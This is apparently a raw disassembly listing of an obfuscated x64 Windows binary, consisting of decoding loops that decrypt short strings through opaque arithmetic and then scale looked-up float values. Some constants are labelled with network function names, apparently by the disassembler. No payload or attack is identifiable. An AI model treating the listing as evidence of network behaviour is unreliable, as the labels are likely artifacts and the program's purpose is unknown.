jne 0x14008c2c9
movzx r11d, r10b
lea ecx, [r11 - 0x20]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x20
jmp 0x14008c840
movzx r11d, r10b
lea edx, [r11 - 0x40]
movzx eax, dl
and al, r9b
add al, al
movzx edi, byte [rbp + r10 + 0x180]
sub dil, al
sub dil, 0x40
add dil, r9b
add dil, dl
sub r11b, 0x48
movzx eax, r9b
and al, r11b
add al, al
movzx ecx, dil
sub cl, al
sub cl, 8
add cl, r9b
add cl, r11b
mov byte [rbp + r10 + 0x180], cl
add rbx, r8
jmp 0x14008c7d6
lea edx, [r10 - 0x50]
movzx eax, dl
and al, r9b
mov ecx, 0x18
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
jmp 0x14008c8ac
lea edx, [r10 - 8]
mov ecx, 0x1c
movzx eax, dl
and al, r9b
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
movzx eax, dil
mov rcx, 0xffffffffffffffff
sub rcx, rax
add r10, rcx
inc r10
jmp 0x14008be53
lea ecx, [r10 + 0x28]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x18
dec r10
inc r10
jmp 0x14008be53
movzx r11d, r10b
lea edx, [r11 + 0x48]
mov ecx, 4
jmp 0x14008c82f
movzx r11d, r10b
lea edx, [r11 + 0x68]
mov ecx, reloc.WS2_32.dll_sendto
movzx eax, dl
and al, r9b
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
sub r11b, 0x38
movzx eax, r9b
and al, r11b
add al, al
sub r9b, al
sub r9b, 0x78
add r9b, r11b
mov byte [rbp + r10 + 0x180], r9b
inc r8
dec r10
inc r10
jmp 0x14008be53
lea edx, [r10 - 0x78]
movzx eax, dl
and al, r9b
mov ecx, 0x24
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
dec r10
inc r10
jmp 0x14008be53
lea rcx, [r10 + r12]
movzx r9d, r11b
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x78
lea edx, [r10 - 0x58]
movzx eax, r9b
and al, dl
mov ecx, 0x34
sub cl, al
add cl, cl
add cl, r9b
add cl, dl
movzx eax, cl
mov byte [rbp + r10 + 0x180], al
inc r8
add rax, r8
sub r10, rax
jmp 0x14008c8fb
lea rdx, [r10 + r13]
movzx r9d, r11b
movzx eax, dl
and al, r11b
mov ecx, recv
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r11b
lea ecx, [r10 - 0x60]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
sub cl, 0x60
add cl, r9b
mov byte [rbp + r10 + 0x180], cl
inc rbx
mov rax, 0xffffffffffffffff
sub rax, rbx
add r10, rax
movzx eax, byte [rbp + r10 + 0x180]
add rax, r8
add r10, rax
inc r10
jmp 0x14008be53
lea rcx, [r10 + r15]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edi, [r11 + rcx]
sub dil, 0x58
movzx eax, byte [rbp + r10 + 0x180]
add rax, r8
add r10, rax
inc r10
jmp 0x14008be53
sub r10b, 0x28
movzx eax, r10b
and al, r9b
mov ecx, recv
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
add dil, r9b
jmp 0x14008be50
sub r10b, 0x18
movzx eax, r10b
and al, r9b
add al, al
sub r10b, al
lea edi, [r9 + r10]
sub dil, 0x58
jmp 0x14008be40
lea rcx, [rbp + 0x1405820]
jmp 0x14008c9c7
lea rcx, [rbp + 0x10e1d18]
jmp 0x14008c9c7
lea rcx, [rbp + 0x180]
xor r8d, r8d
lea rdx, [0x1401dc828]
call fcn.14003a2e0
test al, al
je 0x14008ca20
movss xmm0, dword [0x1401dc828]
mulss xmm0, xmm6
cvttss2si eax, xmm0
mov dword [0x1401dc6d8], eax
movss xmm1, dword [0x1401dc82c]
mulss xmm1, xmm6
cvttss2si eax, xmm1
mov dword [0x1401dc6dc], eax
movss xmm0, dword [0x1401dc830]
mulss xmm0, xmm6
cvttss2si eax, xmm0
mov dword [0x1401dc6e0], eax
mov byte [rbp + 0x160], 0x5b
mov byte [rbp + 0x161], 3
mov byte [rbp + 0x162], 1
mov byte [rbp + 0x163], select
mov byte [rbp + 0x164], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x165], 0x75
mov byte [rbp + 0x166], 0x7f
mov byte [rbp + 0x167], reloc.WS2_32.dll_WSACleanup
mov byte [rbp + 0x168], select
mov byte [rbp + 0x169], 0xb9
mov byte [rbp + 0x16a], 0x55
mov byte [rbp + 0x16b], 0xa
mov byte [rbp + 0x16c], select
mov byte [rbp + 0x16d], reloc.WS2_32.dll_sendto
mov byte [rbp + sockete], 0x16
mov byte [rbp + 0x16f], 0x87
xor eax, eax
mov dword [rbp + 0x170], eax
mov word [rbp + 0x174], ax
movabs rsi, 0xd47288ade0ff38c3
movabs r15, 0xcf21bcc126fa8d55
movabs r12, 0x263cab6564fc1bcf
movabs r14, 0x7d579a09a2fdaa49
movzx edi, byte [rsp + 0x50]
nop dword [rax]
call fcn.140004750
mov rbx, qword [rax]
call fcn.140004760
mov r8, qword [rax]
xor r10d, r10d
cmp r10, 0x16
jae 0x14008d368
movzx r9d, byte [rbp + r10 + 0x160]
mov rdx, r9
nop dword [rax]
cmp rbx, r10
ja 0x14008d35c
lea rax, [r8 + 1]
cmp rbx, rax
jae 0x14008cb33
lea rcx, [r10 + rsi]
mov rax, rdx
and rax, rcx
imul rdi, rax, 0xfffffffffffffffe
add rdi, rdx
add rdi, rcx
sub dil, 0x55
jmp 0x14008cb60
je 0x14008d2ec
lea rax, [r8 + 2]
cmp rbx, rax
je 0x14008d28f
lea rax, [r8 + 3]
cmp rbx, rax
je 0x14008d249
lea rax, [r8 + 9]
cmp rbx, rax
je 0x14008d1fe
cmp r8, r10
ja 0x14008d350
lea rax, [r8 + 0x1000]
cmp rbx, rax
jae 0x14008cb94
lea ecx, [r10 - 1]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
add dil, 7
jmp 0x14008cbd0
lea rax, [r8 + 1]
cmp rbx, rax
je 0x14008d1de
lea rax, [r8 + 2]
cmp rbx, rax
je 0x14008d1bc
lea rax, [r8 + 3]
cmp rbx, rax
je 0x14008d189
lea rax, [r8 + 5]
cmp rbx, rax
je 0x14008d16d
nop dword [rax + rax]
lea rax, [r8 + rbx]
cmp rax, r10
jbe 0x14008cd72
nop dword [rax]
lea rax, [r8 + 6]
cmp rbx, rax
je 0x14008cd52
lea rax, [r8 + 0xa]
cmp rbx, rax
je 0x14008cd2d
lea rax, [r8 + 3]
cmp rbx, rax
je 0x14008cd08
lea rbx, [r8 + 0x1000]
lea r8, [rbx + 0xa]
lea rax, [r8 + 0x42]
cmp rbx, rax
jb 0x14008d333
lea rax, [r8 + 0x200]
cmp rbx, rax
jb 0x14008d316
lea rax, [r8 + 0x1000]
cmp rbx, rax
jb 0x14008cc81
lea rbx, [r8 + 3]
lea r8, [rbx + 0x200]
lea rax, [r8 + 6]
cmp rbx, rax
ja 0x14008ccda
lea rax, [r8 + 0x2a]
cmp rbx, rax
ja 0x14008ccbb
lea rax, [r8 + 3]
cmp rbx, rax
ja 0x14008cc9c
lea rbx, [r8 + 0x1000]
lea r8, [rbx + 0x2a]
jmp 0x14008cbe0
lea ecx, [r10 - 0x2b]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
add dil, 0x2d
jmp 0x14008caf6
lea edx, [r10 - 0x2c]
movzx eax, r9b
and al, dl
mov ecx, 0x1a
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, dl
jmp 0x14008d25f
lea edx, [r10 + 0x4e]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
sub dil, 0x22
add dil, dl
jmp 0x14008d2a5
lea ecx, [r10 - 0x38]
movzx eax, r9b
and al, cl
add al, al
sub r9b, al
lea edi, [rcx + r9]
sub dil, 0x78
movzx eax, byte [rbp + r10 + 0x160]
add rax, r8
add r10, rax
inc r10
jmp 0x14008cae3
lea edx, [r10 - 0x2a]
movzx eax, r9b
and al, dl
mov ecx, reloc.WS2_32.dll_send
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, dl
dec r10
inc r10
jmp 0x14008cae3
lea ecx, [r10 + 0x50]
movzx eax, r9b
and al, cl
add al, al
sub r9b, al
lea edi, [rcx + r9]
sub dil, 0x30
inc r8
dec r10
inc r10
jmp 0x14008cae3
lea edx, [r10 - 0x36]
movzx eax, r9b
and al, dl
mov ecx, 0x3d
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
movzx r11d, r10b
jmp 0x14008d219
lea rax, [r8 + 0x41]
cmp rbx, rax
jae 0x14008ce33
lea edx, [r10 - 0x3d]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
sub dil, 0x55
add dil, dl
lea rax, [r8 + rbx]
cmp rax, 3
je 0x14008d146
lea rax, [r8 + 0x200]
cmp rbx, rax
jbe 0x14008cf31
lea edx, [r10 + 0x77]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
sub dil, 0x41
add dil, dl
cmp rbx, 0x1000
jae 0x14008d102
lea rax, [r8 + 0xa]
cmp rbx, rax
jbe 0x14008cffa
lea edx, [r10 + 0x76]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
sub dil, 0x3a
add dil, dl
cmp r8, 3
jb 0x14008d0f2
movzx r11d, r10b
lea edx, [r11 - 0x4e]
movzx eax, r9b
and al, dl
mov ecx, reloc.WS2_32.dll_recvfrom
sub cl, al
add cl, cl
add cl, r9b
add cl, dl
lea edi, [rcx + rcx]
jmp 0x14008d21c
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x14008ce71
lea edx, [r10 - 2]
movzx eax, r9b
and al, dl
mov ecx, 7
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, dl
movzx eax, byte [rbp + r10 + 0x160]
add rax, r8
add r10, rax
inc r10
jmp 0x14008cae3
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x14008ce9d
lea edx, [r10 + 0xa]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
sub dil, 0x46
add dil, dl
jmp 0x14008d25f
lea rax, [r8 + 5]
cmp rbx, rax
jne 0x14008ceca
lea edx, [r10 - 0x64]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
sub dil, 0x44
movzx r11d, r10b
jmp 0x14008d11c
lea rax, [r8 + 4]
cmp rbx, rax
jne 0x14008cefc
lea edx, [r10 + 0x22]
movzx eax, r9b
and al, dl
mov ecx, 9
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, dl
dec r10
inc r10
jmp 0x14008cae3
lea rax, [r8 + 7]
cmp rbx, rax
jne 0x14008cd99
lea edx, [r10 - 0x58]
movzx eax, r9b
and al, dl
mov ecx, 0x34
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, dl
inc r8
dec r10
inc r10
jmp 0x14008cae3
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x14008cf5e
movzx r11d, r10b
lea edx, [r11 - 3]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
add dil, 0x15
jmp 0x14008d219
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x14008cf90
lea ecx, [r10 - 0x7d]
movzx eax, r9b
and al, cl
add al, al
sub r9b, al
lea edi, [rcx + r9]
add dil, 0x6b
inc r8
dec r10
inc r10
jmp 0x14008cae3
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x14008cfbf
lea ecx, [r10 + 9]
movzx eax, r9b
and al, cl
add al, al
sub r9b, al
lea edi, [rcx + r9]
sub dil, 0x3f
dec r10
inc r10
jmp 0x14008cae3
lea rax, [r8 + 9]
cmp rbx, rax
jne 0x14008cdd1
lea ecx, [r10 + 0x2d]
movzx eax, r9b
and al, cl
add al, al
sub r9b, al
lea edi, [rcx + r9]
sub dil, 0x3b
movzx eax, byte [rbp + r10 + 0x160]
add rax, r8
add r10, rax
inc r10
jmp 0x14008cae3
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x14008d038
lea edx, [r10 - 4]
movzx eax, r9b
and al, dl
mov ecx, select
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, dl
movzx eax, byte [rbp + r10 + 0x160]
add rax, r8
add r10, rax
inc r10
jmp 0x14008cae3
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x14008d064
lea edx, [r10 + 8]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
sub dil, 0x38
add dil, dl
jmp 0x14008d25f
lea rax, [r8 + 4]
cmp rbx, rax
jne 0x14008d090
lea edx, [r10 - 0x72]
movzx eax, r9b
and al, dl
mov ecx, reloc.WS2_32.dll_ntohs
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, dl
jmp 0x14008d1a3
lea rax, [r8 + 5]
cmp rbx, rax
jne 0x14008d0bd
movzx r11d, r10b
lea edx, [r11 - 0x66]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
sub dil, 0x36
jmp 0x14008d11c
lea rax, [r8 + 7]
cmp rbx, rax
jne 0x14008ce05
lea edx, [r10 - 0x5a]
movzx eax, r9b
and al, dl
mov ecx, 0x3b
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, dl
inc r8
dec r10
inc r10
jmp 0x14008cae3
mov byte [rbp + r10 + 0x160], dil
inc r10
jmp 0x14008cae3
movzx r11d, r10b
lea edx, [r11 + 0x38]
movzx eax, r9b
and al, dl
movzx ecx, r9b
sub cl, al
add cl, 0x3c
lea edi, [rcx + rcx]
add dil, dl
sub r11b, 5
movzx eax, r9b
and al, r11b
add al, al
sub r9b, al
add r9b, 0x23
add r9b, r11b
add r9b, dil
mov byte [rbp + r10 + 0x160], r9b
jmp 0x14008d1a0
lea edx, [r10 - 0x42]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
sub dil, byte [rbp + r10 + 0x160]
sub dil, 0x32
add dil, dl
jmp 0x14008d25f
lea ecx, [r10 + 0x23]
movzx eax, r9b
and al, cl
add al, al
sub r9b, al
lea edi, [rcx + r9]
add dil, 0xb
jmp 0x14008d1a3
lea ecx, [r10 - 0x63]
movzx eax, r9b
and al, cl
add al, al
sub r9b, al
lea edi, [rcx + r9]
sub dil, 0x4b
add rbx, r8
movzx eax, dil
mov rcx, 0xffffffffffffffff
sub rcx, rax
add r10, rcx
inc r10
jmp 0x14008cae3
lea ecx, [r10 - 0x6f]
movzx eax, r9b
and al, cl
add al, al
sub r9b, al
lea edi, [rcx + r9]
add dil, 9
dec r10
inc r10
jmp 0x14008cae3
movzx r11d, r10b
lea edx, [r11 - 0x7b]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
add dil, 0x5d
jmp 0x14008d219
movzx r11d, r10b
lea edx, [r11 + 0x79]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
sub dil, 0x4f
add dil, dl
add r11b, 0x75
movzx eax, r9b
and al, r11b
add al, al
sub r9b, al
sub r9b, 0x33
add r9b, r11b
mov byte [rbp + r10 + 0x160], r9b
inc r8
dec r10
inc r10
jmp 0x14008cae3
lea rax, [r10 + r15]
movzx r9d, dl
and dl, al
add dl, dl
sub al, dl
lea edi, [r9 + rax]
sub dil, 0x53
lea edx, [r10 - 0x7f]
movzx eax, r9b
and al, dl
add al, al
movzx ecx, r9b
sub cl, al
add cl, 0x79
add cl, dl
movzx eax, cl
mov byte [rbp + r10 + 0x160], al
inc r8
add rax, r8
sub r10, rax
jmp 0x14008d2a5
lea rax, [r10 + r12]
movzx r9d, dl
and dl, al
add dl, dl
sub al, dl
lea edi, [r9 + rax]
add dil, 0x57
lea edx, [r10 + 0x44]
movzx eax, r9b
and al, dl
mov ecx, reloc.WS2_32.dll_select
sub cl, al
add cl, cl
add cl, r9b
add cl, dl
mov byte [rbp + r10 + 0x160], cl
inc rbx
mov rax, 0xffffffffffffffff
sub rax, rbx
add r10, rax
movzx eax, byte [rbp + r10 + 0x160]
add rax, r8
add r10, rax
inc r10
jmp 0x14008cae3
lea rcx, [r10 + r14]
movzx eax, dl
and al, cl
add al, al
sub dl, al
lea edi, [rcx + rdx]
inc dil
movzx eax, byte [rbp + r10 + 0x160]
add rax, r8
add r10, rax
inc r10
jmp 0x14008cae3
add r10b, 0x4f
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x29
jmp 0x14008cae0
sub r10b, 0x37
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x7f
jmp 0x14008cad0
lea rcx, [rbp + 0x17a2464]
jmp 0x14008d36f
lea rcx, [rbp + 0x795d27]
jmp 0x14008d36f
lea rcx, [rbp + 0x160]
xor r8d, r8d
lea rdx, [0x1401dc838]
call fcn.14003a2e0
test al, al
je 0x14008d3c8
movss xmm0, dword [0x1401dc838]
mulss xmm0, xmm6
cvttss2si eax, xmm0
mov dword [0x1401dc6e8], eax
movss xmm1, dword [0x1401dc83c]
mulss xmm1, xmm6
cvttss2si eax, xmm1
mov dword [0x1401dc6ec], eax
movss xmm0, dword [0x1401dc840]
mulss xmm0, xmm6
cvttss2si eax, xmm0
mov dword [0x1401dc6f0], eax
mov byte [rbp + 0x140], 0x9c
mov byte [rbp + 0x141], 0xa2
mov byte [rbp + 0x142], 0xb9
mov byte [rbp + 0x143], 0xa4
mov byte [rbp + 0x144], 0xac
mov byte [rbp + 0x145], 0xa5
mov byte [rbp + 0x146], 0xab
mov byte [rbp + 0x147], 0x4f
mov byte [rbp + 0x148], __WSAFDIsSet
mov byte [rbp + 0x149], 0xbc
mov byte [rbp + 0x14a], 0xb8
mov byte [rbp + 0x14b], 0xba
mov byte [rbp + 0x14c], 0xa4
mov byte [rbp + 0x14d], 0x29
xor eax, eax
mov qword [rbp + 0x14e], rax
mov word [rbp + 0x156], ax
movabs rsi, 0xea5b3d364deb5989
movabs r14, 0xbf11b7a2e9c20c9b
movzx edi, byte [rsp + 0x50]
call fcn.140004750
mov rbx, qword [rax]
call fcn.140004760
mov r8, qword [rax]
xor r10d, r10d
cmp r10, 0x18
jae 0x14008dee1
movzx r9d, byte [rbp + r10 + 0x140]
mov rdx, r9
nop dword [rax]
cmp rbx, r10
ja 0x14008ded5
lea rax, [r8 + 1]
cmp rbx, rax
jae 0x14008d4b3
lea rcx, [r10 + rsi]
mov rax, rdx
and rax, rcx
imul rdi, rax, 0xfffffffffffffffe
add rdi, rdx
add rdi, rcx
add dil, 0x41
jmp 0x14008d4d3
je 0x14008de64
lea rax, [r8 + 3]
cmp rbx, rax
je 0x14008de08
lea rax, [r8 + 2]
cmp rbx, rax
je 0x14008dde6
cmp r8, r10
ja 0x14008dec9
lea rax, [r8 + 0x41]
cmp rbx, rax
jae 0x14008d504
lea ecx, [r10 + 0x3d]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
add dil, 0x55
jmp 0x14008d550
lea rax, [r8 + 1]
cmp rbx, rax
je 0x14008dda2
lea rax, [r8 + 3]
cmp rbx, rax
je 0x14008dd81
lea rax, [r8 + 4]
cmp rbx, rax
je 0x14008dd66
lea rax, [r8 + 2]
cmp rbx, rax
je 0x14008dcd8
lea rax, [r8 + 8]
cmp rbx, rax
je 0x14008dcab
nop word [rax + rax]
lea rax, [r8 + rbx]
cmp rax, r10
jbe 0x14008da6e
nop dword [rax]
lea rax, [r8 + 0x400]
cmp rbx, rax
je 0x14008da4f
lea rax, [r8 + 0x3e8]
cmp rbx, rax
je 0x14008da27
lea rax, [r8 + 0x200]
cmp rbx, rax
je 0x14008da06
lea rax, [r8 + 0x80]
cmp rbx, rax
je 0x14008d9e3
lea rax, [r8 + 0x64]
cmp rbx, rax
je 0x14008d9c8
lea rax, [r8 + 5]
cmp rbx, rax
je 0x14008d9a9
lea rax, [r8 + 4]
cmp rbx, rax
je 0x14008d98a
lea rax, [r8 + 3]
cmp rbx, rax
je 0x14008d96b
lea rax, [r8 + 2]
cmp rbx, rax
je 0x14008d93e
lea rax, [r8 + 1]
cmp rbx, rax
je 0x14008d560
lea rbx, [r8 + 0x40]
lea r8, [rbx + 0x2a]
lea rax, [r8 + 0x28]
cmp rbx, rax
jb 0x14008deac
lea rax, [r8 + 2]
cmp rbx, rax
jb 0x14008de8f
lea rax, [r8 + 1]
cmp rbx, rax
jb 0x14008d733
lea rax, [r8 + 0x2a]
cmp rbx, rax
jb 0x14008d718
lea rax, [r8 + 0x5a]
cmp rbx, rax
jb 0x14008d6fd
lea rax, [r8 + 0x41]
cmp rbx, rax
jb 0x14008d8ef
lea rax, [r8 + 0x40]
cmp rbx, rax
jb 0x14008d885
lea rax, [r8 + 0x20]
cmp rbx, rax
jb 0x14008d85f
lea rax, [r8 + 0x10]
cmp rbx, rax
jb 0x14008d560
lea rbx, [r8 + 0x7a]
lea r8, [rbx + 0xa]
lea rax, [r8 + 0x61]
cmp rbx, rax
ja 0x14008d832
lea rax, [r8 + 0x1000]
cmp rbx, rax
ja 0x14008d813
lea rax, [r8 + 0x10]
cmp rbx, rax
ja 0x14008d7f4
lea rax, [r8 + 0xa]
cmp rbx, rax
ja 0x14008d7d5
lea rax, [r8 + 9]
cmp rbx, rax
ja 0x14008d7ba
lea rax, [r8 + 8]
cmp rbx, rax
ja 0x14008d797
lea rcx, [r8 + 6]
cmp rbx, rcx
ja 0x14008d776
lea rax, [r8 + 5]
cmp rbx, rax
ja 0x14008d74e
lea rax, [r8 + 0x400]
cmp rbx, rax
ja 0x14008d560
mov rbx, rcx
lea r8, [rcx + 0x3e8]
jmp 0x14008d560
lea ecx, [r10 + 0x63]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
add dil, 0x4b
jmp 0x14008d550
lea ecx, [r10 + 0x51]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x37
jmp 0x14008d4d3
lea ecx, [r10 + 0x3f]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
add dil, 0x47
jmp 0x14008d479
lea edx, [r10 - 0x2a]
movzx eax, dl
and al, r9b
mov ecx, reloc.WS2_32.dll_send
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
inc r8
dec r10
inc r10
jmp 0x14008d466
lea ecx, [r10 - 0x3c]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x5c
dec r10
inc r10
jmp 0x14008d466
lea edx, [r10 - 0x4e]
movzx eax, dl
and al, r9b
mov ecx, reloc.WS2_32.dll_recvfrom
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
movzx r11d, r10b
jmp 0x14008de26
lea ecx, [r10 - 0x60]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x60
jmp 0x14008de48
lea edx, [r10 - 0x72]
movzx eax, dl
and al, r9b
mov ecx, reloc.WS2_32.dll_ntohs
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x14008de4b
lea ecx, [r10 + 0x7c]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x64
movzx r11d, r10b
jmp 0x14008dcf2
lea edx, [r10 + 0x6a]
movzx eax, dl
and al, r9b
mov ecx, reloc.WS2_32.dll_listen
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x14008dd1f
lea ecx, [r10 + 0x58]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x68
movzx eax, byte [rbp + r10 + 0x140]
add rax, r8
add r10, rax
inc r10
jmp 0x14008d466
lea ecx, [r10 - 0x55]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
add dil, 0x53
mov byte [rbp + r10 + 0x140], dil
inc r10
jmp 0x14008d466
lea ecx, [r10 - 0x79]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
add dil, 0x4f
cmp rbx, 0x41
jae 0x14008dc6d
lea rax, [r8 + 0x10]
cmp rbx, rax
jbe 0x14008dbd3
lea ecx, [r10 - 0x1e]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x2e
cmp r8, 8
jb 0x14008d875
movzx edx, r10b
lea ecx, [rdx - 0x6a]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
add cl, r9b
lea edi, [rcx*2 - 0x34]
jmp 0x14008ddbb
lea ecx, [r10 + 0x75]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x33
lea rax, [r8 + rbx]
cmp rax, 0x42
je 0x14008dc91
lea rax, [r8 + 0x200]
cmp rbx, rax
jbe 0x14008db55
lea ecx, [r10 - 0x5b]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
add dil, 0x7d
jmp 0x14008d89b
lea ecx, [r10 + 0x6e]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 2
movzx eax, byte [rbp + r10 + 0x140]
add rax, r8
add r10, rax
inc r10
jmp 0x14008d466
lea edx, [r10 + 0x5c]
movzx eax, dl
and al, r9b
mov ecx, 0x3e
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x14008dd1f
movzx r11d, r10b
lea ecx, [r11 + 0x4a]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 6
jmp 0x14008dcf2
lea edx, [r10 + 0x38]
movzx eax, dl
and al, r9b
mov ecx, 0x3c
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x14008de4b
lea ecx, [r10 + 0x26]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0xa
jmp 0x14008de48
movzx r11d, r10b
lea edx, [r11 + 0x14]
movzx eax, dl
and al, r9b
mov ecx, 0x3a
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x14008de26
lea ecx, [r10 + 2]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0xe
dec r10
inc r10
jmp 0x14008d466
lea edx, [r10 - 0x10]
movzx eax, dl
and al, r9b
mov ecx, gethostname
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
inc r8
dec r10
inc r10
jmp 0x14008d466
lea ecx, [r10 - 0x22]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x12
movzx edx, r10b
jmp 0x14008ddbb
lea rax, [r8 + 0x1000]
cmp rbx, rax
jae 0x14008da99
lea ecx, [r10 - 0x77]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
add dil, 0x41
jmp 0x14008d905
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x14008dad3
lea ecx, [r10 + 0x7a]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x56
movzx eax, byte [rbp + r10 + 0x140]
add rax, r8
add r10, rax
inc r10
jmp 0x14008d466
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x14008daff
movzx r11d, r10b
lea ecx, [r11 - 0x62]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x52
jmp 0x14008dcf2
lea rax, [r8 + 5]
cmp rbx, rax
jne 0x14008db27
lea ecx, [r10 - 0x3e]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x4e
jmp 0x14008de48
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x14008d905
lea ecx, [r10 - 0x1a]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x4a
dec r10
inc r10
jmp 0x14008d466
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x14008db7f
movzx edx, r10b
lea ecx, [rdx - 0x49]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
dec dil
jmp 0x14008ddbb
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x14008dba7
lea ecx, [r10 + 0x11]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x77
jmp 0x14008de4b
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x14008d89b
movzx r11d, r10b
lea ecx, [r11 + 0x23]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
add dil, 0xb
jmp 0x14008dcf2
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x14008dc11
lea edx, [r10 - 0xc]
movzx eax, dl
and al, r9b
mov ecx, 0x2a
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
movzx eax, byte [rbp + r10 + 0x140]
add rax, r8
add r10, rax
inc r10
jmp 0x14008d466
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x14008dc41
movzx r11d, r10b
lea edx, [r11 + 0x18]
movzx eax, dl
and al, r9b
mov ecx, 0x2c
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x14008dcf2
